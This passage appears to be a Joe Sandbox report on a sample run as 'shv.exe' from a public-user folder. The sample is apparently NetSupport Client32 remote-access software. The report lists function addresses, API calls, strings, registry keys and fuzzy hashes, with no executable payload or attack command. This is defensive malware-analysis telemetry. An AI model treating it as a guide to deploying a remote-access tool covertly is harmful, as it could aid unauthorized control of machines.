Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction ID: ffe5b7852bae71a5603cb4f529131e3535c43cf5cc9a129c5e7f13935f1cb029
Opcode Fuzzy Hash: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction Fuzzy Hash: 9C11AC74E0012DABC700EAE5DC95AEFBB68AF45709F100029F50AEB144EA21EA40C7E2

Function 11025D00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11025D16
K32GetProcessImageFileNameA.KERNEL32(?,?,?,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D32
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11025D46
SetLastError.KERNEL32(00000078,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D69

Strings

GetProcessImageFileNameA, xrefs: 11025D10
GetModuleFileNameExA, xrefs: 11025D40

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction ID: 74662284ed99b9a54ad109221a671fe8fcdc3fa540ca7c31caa090441a4958f5
Opcode Fuzzy Hash: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction Fuzzy Hash: 98016D72601718ABE330DEA5EC48F87B7E8EB88765F10052AF95697200D631E8018BA4

Function 1110F2B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

Strings

hThread, xrefs: 1110F300
..\ctl32\Refcount.cpp, xrefs: 1110F2FB

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 3360349984-1136101629
Opcode ID: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction ID: 7cf91fcea6c2a3c5c2684f5d08a561b662f4dc7f01f0c277a0d6c7245401f800
Opcode Fuzzy Hash: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction Fuzzy Hash: E7015E7A7443166FE3209EA9CC86F57FBA8DB44764F104128FA25962C4DA60F805CB64

Function 11031960 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110319A7

Strings

_HF, xrefs: 11031988, 1103198D
%s%s%s.bin, xrefs: 110319A1
016477, xrefs: 1103198E
_SW, xrefs: 1103197C
_HW, xrefs: 11031970

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$016477$_HF$_HW$_SW
API String ID: 2111968516-419782183
Opcode ID: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction ID: 34a826dfca0d5743c415d593f242b0f3cefc790b54bbadf5113738552eb06063
Opcode Fuzzy Hash: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction Fuzzy Hash: 93E092A1D1870C6FF70085589C15F9EFAE87B4978EFC48051BEEDA7292E935D60082D6

Function 11102AB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 11102B03
GetStockObject.GDI32(00000004), ref: 11102B5B
RegisterClassA.USER32(?), ref: 11102B6F
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,11000000,00000000), ref: 11102BAC

Strings

NSMDesktopWnd, xrefs: 11102AE9, 11102B68, 11102BA6

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction ID: 4c07b853b75387a4d851a66abc04609236edd6d81c14be1d28904dd9f6a0e6ac
Opcode Fuzzy Hash: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction Fuzzy Hash: C231F4B0D15619AFDB44CFA9D980A9EFBF4FB08314F50962EE46AE3640E7346900CF94

Function 1113CC30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,00000000,TermUI...), ref: 1113CC9A
KillTimer.USER32(00000000,00007F61,TermUI...), ref: 1113CCB3
FreeLibrary.KERNEL32(75B40000,?,TermUI...), ref: 1113CD2B
FreeLibrary.KERNEL32(00000000,?,TermUI...), ref: 1113CD43

Strings

TermUI, xrefs: 1113CC32

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: FreeKillLibraryTimer
String ID: TermUI
API String ID: 2006562601-4085834059
Opcode ID: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction ID: 1c615ec055e307fcecd6c2f5a0081f3099d40e524c959ad3afbad8c7da76a6da
Opcode Fuzzy Hash: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction Fuzzy Hash: 813182B46121329FE605DF9ACDE496EFB6ABBC4B1C750402BF4689720CE770A845CF91

Function 11145330 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
RegCloseKey.ADVAPI32(?), ref: 11145404

Strings

ForceRTL, xrefs: 111453C3
SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11145380
SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11145367, 1114539E

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction ID: 3a61aca8bf2f26e8be4db12f87e0943ca7983303b4b50086f785ef97d0623835
Opcode Fuzzy Hash: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction Fuzzy Hash: 56218875E0422A9BE760DB64CD80B9EF7B8EB44708F1042AAD85DF7540E771AD458BB0

Function 111114D0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 11111430: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
Part of subcall function 11111430: __wsplitpath.LIBCMT ref: 11111475
Part of subcall function 11111430: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

GetComputerNameA.KERNEL32(?,?), ref: 11111578

Strings

\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 11111587
, xrefs: 11111571
\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 11111520
ACM, xrefs: 11111532

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction ID: bd5304e3d9974d7ab46afc427c644d654ac0d4b62daaa3d8a48381b774377c4d
Opcode Fuzzy Hash: 10a04c85090393e181044af2bbe891b78f34dcae4f388202a219c12921f261b8
Instruction Fuzzy Hash: 4B214676A142491BD701CF309D80BBFFFBA9F8B249F080578D852DB145E626D914C391

Function 11144200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 11143C20: GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
Part of subcall function 11143C20: GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Netstat\shv.exe,00000104,?,11143E73,?), ref: 11143C49

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144255
ResetEvent.KERNEL32(00000254), ref: 11144269
SetEvent.KERNEL32(00000254), ref: 1114427F
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 1114428E

Strings

MiniDump, xrefs: 11144207

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction ID: 829689d5ebdc208bf7b78735a50f5ce9a06f611da5f38dced1c13c8e9b13f18e
Opcode Fuzzy Hash: af02bfec1e2ad683ef615fadee7153e651b028109eb63fc5543e4d95a1405a56
Instruction Fuzzy Hash: 4F113875E5422677E300DFF99C81F9AF768AB44B28F200230EA24D75C4EB71A504C7B1

Function 11146DA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 11146DCF
wsprintfA.USER32 ref: 11146E06

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\util.cpp, xrefs: 11146E1B
#%d, xrefs: 11146E00
i < _tsizeof (buf), xrefs: 11146E20

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction ID: b1a6c5171231f01418375ac6f2de6c12625a8d09d3611db16d7d0d369645f93a
Opcode Fuzzy Hash: 74c0a5bdbb0b764e858cc1f7afd52fdb49af151022e5f3ed446820e6430d86d5
Instruction Fuzzy Hash: FA11A5FAE00128ABC720DB65ED81FAAF77C9B4461DF000565EB19B6141EA35AA05C7A8

Function 1110F420 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110F439

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

wsprintfA.USER32 ref: 1110F454

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

_memset.LIBCMT ref: 1110F477

Strings

..\ctl32\Refcount.cpp, xrefs: 1110F465
Can't alloc %u bytes, xrefs: 1110F44E

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction ID: e8e28b36a5a63397ef775e95fa380a20e388029766e4784519104262db02a7f0
Opcode Fuzzy Hash: 483ab18efc666d7fafa6765eedd91fa0800c96548fafe518ebc1f691375ec46a
Instruction Fuzzy Hash: 1CF0F6B5E0012863C720AFA5AC06FEFF37C9F91658F440169EE04A7241EA71BA11C7E9

Function 11145AE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

LoadLibraryA.KERNEL32(shcore.dll,00000000,?,11030690,00000002), ref: 11145AFF
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 11145B11
FreeLibrary.KERNEL32(00000000,?,11030690,00000002), ref: 11145B24

Strings

shcore.dll, xrefs: 11145AFA
SetProcessDpiAwareness, xrefs: 11145B0B

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
